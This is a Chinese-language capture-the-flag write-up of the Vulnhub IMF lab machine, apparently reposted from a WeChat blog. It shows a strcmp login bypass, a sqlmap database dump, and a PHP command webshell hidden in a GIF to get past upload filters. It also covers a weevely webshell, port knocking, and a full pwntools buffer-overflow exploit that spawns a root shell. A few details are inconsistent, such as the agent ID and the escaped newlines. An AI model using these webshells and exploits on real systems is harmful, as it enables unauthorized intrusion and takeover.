0x01 信息收集
作者:G4br1el,微信号:G4br1elsec
flag1
浏览器访问链接:http://x.x.x.x
通过检查网页源代码,发现联系我们的页面中(contact.php)一处flag
flag1{YWxsdGhlZmlsZXM=}
//YWxsdGhlZmlsZXM=是个base64编码,解码得allthefiles
flag2
然后继续查看源代码,发现js引用处有明显的base编码(常打CTF都知道,Zmxh开头的很容易联想到flag的base编码)
把三个都base64解密,得
flag2{aW1mYWRtaW5pc3RyYXRvcg==}
解码得:imfadministrator
备注:记住上面的信息收集每一条都是有用的,上面解出来的东西都是比较规律的,有可能是目录之类的。
0x02 web渗透
flag3
通过上面得到的字符串,依次尝试使用字符串当做目录
发现imfadministrator/可以访问,尝试使用弱口令admin/admin,显示是个无效的用户名。
返回主页寻找信息,发现联系我们页面有三个联系人的email,可以尝试使用邮箱的用户名进行登陆。
使用rmichaels用户名登陆,随便输入密码显示无效的密码,说明这个用户是存在的。
查看源代码,发现有个注释
<!-- I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger -->
通过英文的翻译,大概意思就是不用数据库,是写死在php文件中,可能是用stcmp之内函数去判断密码。当strcmp的两个字符串参数相等的时候返回结果为0,string类型和array类型相比较,也是返回0。我们可以用CTF中数组绕过方法,修改源代码
<input type="password" name="pass" value="">
修改成
<input type="password" name="pass[]" value="">
修改好后使用rmichaels用户登陆,密码不填写,提交得到flag3
flag3{Y29udGludWVUT2Ntcw==}
解码得
continueTOcms
flag4
根据提示进入CMS,浏览页面,发现它的url都是通过各个参数进行访问:cms.php?pagename=home
看到类似index.php?id=1这种格式,可以先尝试一波sql注入,可以抓包到本地使用sqlmap,也可以使用--cookie参数形式,这里是用burp抓包,把响应头保存在桌面,进行本地注入,把数据库dump下来
sqlmap -r /root/桌面/1.txt --risk=3 --level=5 --dbs --dump
--risk=3代表执行测试风险等级为3,--level=5执行测试等级为5,这个自行测试
dump下来后发现有个img标签的源码,我们去访问一下这个jpg图片:http://x.x.x.x/imfadministrator/images/whiteboard.jpg
访问后发现图片里有一个二维码,解码得flag4
flag4{dXBsb2Fkcjk0Mi5waHA=}
解码得
uploadr942.php
flag5
通过flag4可以得到一个php页面。访问它:http://x.x.x.x/imfadministrator/uploadr942.php,得到一个文件上传页面。
我们使用PHP一句话进行上传,通过不断测试,发现存在WAF和文件头检测,尝试使用修改Content-Type:image/jpeg,文件头加上GIF89a也是无效。
所以采用另外一个方法,制作一个图片马。
php中文件写入
<?php $s=$_GET['topsec']; echo `$s`; ?>
//此时需要注意最前面加一个空格,要不然生成图片马的时候会覆盖掉导致乱码
然后使用windows的copy命令生成一个图片码,然后上传进去
copy /b anhunsec.jpg+xxh.php topsec.jpg
此时显示上传成功,并且里面有个注释,可能是上传后的文件重命名:
<!-- 9406685607a2 -->
此时我们不知道图片上传到哪里了,可以猜测是在imfadministrator目录下的哪个文件夹中,我们可以进行目录扫描。
发现有个uploads目录,我们进行拼接访问图片
http://x.x.x.x/imfadministrator/uploads/9406685607a2.jpg
发现访问成功。但是经过测试发现jpg执行不了shell,只有gif可以执行shell命令,所以需要重新上传一个GIF图片马,再次执行以上步骤上传,然后访问GIF图片地址。根据编写的shell执行命令:
http://x.x.x.x/imfadministrator/uploads/b526a44e5ba8.gif?topsec=ls
发现有个flag5_abc123def.txt文件,访问文件后得到flag5
http://x.x.x.x/imfadministrator/uploads/b526a44e5ba8.gif?topsec=cat flag5_abc123def.txt
flag5{YWdlbnRzZXJ2aWNlcw==}
解码得
agentservices
0x03 堆栈溢出攻击
因为上面的是一句话图片马很不方便,所以重新上传一个webshell。本来是想着使用kali自带的php-reverse-shell.php,但是被WAF检测到fsockopen函数,只能另想办法。
网上查资料后发现一个webshell生成工具weevely。
weevely generate topsec shell.php
//topsec是密码
生成后打开,前面加个GIF防止检测,并且把shell后缀改成.gif,然后进行上面flag5的步骤上传shell,然后命令行连接shell
weevely http://x.x.x.x/imfadministrator/uploads/b29749c59df8.gif topsec
连接成功!flag5中叫我们留意agentservices服务
我们去查看一下本地开启了哪些服务
使用netstat -ant命令查看,发现有个7788端口的未知服务,可能是agent吧
我们查看agent服务安装位置
whereis agent
进入目录/usr/local/bin,发现有两个文件,我们cat一下access_codes,发现有个SYN 7482,8279,9467
看起来像是运行了knock进程。需要敲开
关于knock进程:knock是一个端口敲服务器。它侦听以太网(或PPP)接口上的所有流量,寻找端口命中的特殊“敲门”序列。客户端通过将TCP(或UDP)数据包发送到服务器上的端口来进行这些端口命中。这个端口不需要打开-因为knockd在链路层级别监听,它会查看所有流量,即使它的目的地是封闭端口。当服务器检测到特定的端口命中序列时,它会运行在其配置文件中定义的命令。这可用于在防火墙中打开孔以便快速访问。
git clone https://github.com/grongor/knock.git
//或者终端直接输入knock回车,如果没安装它会提示你是否安装,选择Y回车就会自动安装
knock x.x.x.x 7482 8279 9467 //敲开三个端口
扫描一下端口,发现已经出现了7788端口
使用nc监听agent服务,随便输入ID会使程序退出
获得agent的id方法有两种,一个是Meterperterdownload下来在本地做测试;一个是shell里运行ltraceagent
使用file_download下载到本地进行调试
file_download /usr/local/bin/agent /root/agent
使用ltrace ./agent跟踪进程调用库函数
从图中可以发现在fget函数需要输入随机的数字回车,每一次的输入都会出现strncmp("输入的数字n", "48093572", 8)这行代码,大概意思就是我们输入的数字和48093572进行对比,不正确返回到Invalid Agent ID。
然后运行./agent,输入正确的id:480935732
就会出现menu菜单。我们使用edb对程序进行测试
运行以下代码来获取1024个测试字符
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1024
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B
终端输入:edb --run agent运行调试,点击软件界面上方的运行按钮两次,终端那边运行到Agent ID时输入正确的ID:48093572,然后选择3 submit Report测试,然后输入上方生成的测试字符,回车
找到溢出地址:0x41366641,反查栈偏移:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41366641
栈偏移 = EBP地址 - 当前输入地址 + EBP字长
= 0xd188 - 0xd0e4 + 4 = 168
程序在168字符处存在溢出
找到栈偏移之后,我们需要将 return 地址修改为 shellcode 地址,这里可以使用 ROPgadget 寻找包含 call eax 的代码段
ROPgadget --binary agent | grep "call eax"
找到 call eax 地址为 0x8048563
flag6
找到地址后通过 asm 构造 shellcode 内容,这里需要安装pwntools
pip3 install pwntools
构造exp直接getshell,新建1.exp,放入以下代码。然后运行
#coding=utf-8
from pwn import *
io = remote("x.x.x.x", 7788)
shellcode = asm(shellcraft.sh())
shell_addr = 0x8048563
io.recvuntil(b"Agent ID : ")
io.send(b"48093572n")
io.recvuntil(b"Enter selection: ")
io.send(b"3n")
io.recv()
io.sendline(shellcode + b"A" * (168 - len(shellcode)) + p32(shell_addr))
io.interactive()
在root文件夹下存在Flag.txt,cat一下获取flag6
flag6{R2gwc3RQcm90MGMwbHM=}
成功拿到root权限
PDF下载地址
提供文章PDF下载地址,或者点击最下方的原文链接下载
https://g4blog.oss-cn-shenzhen.aliyuncs.com/usr/uploads/2022/03/3532789872.pdf
原文始发于微信公众号(暗魂攻防实验室):【渗透测试】Vulnhub靶场之IMF
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论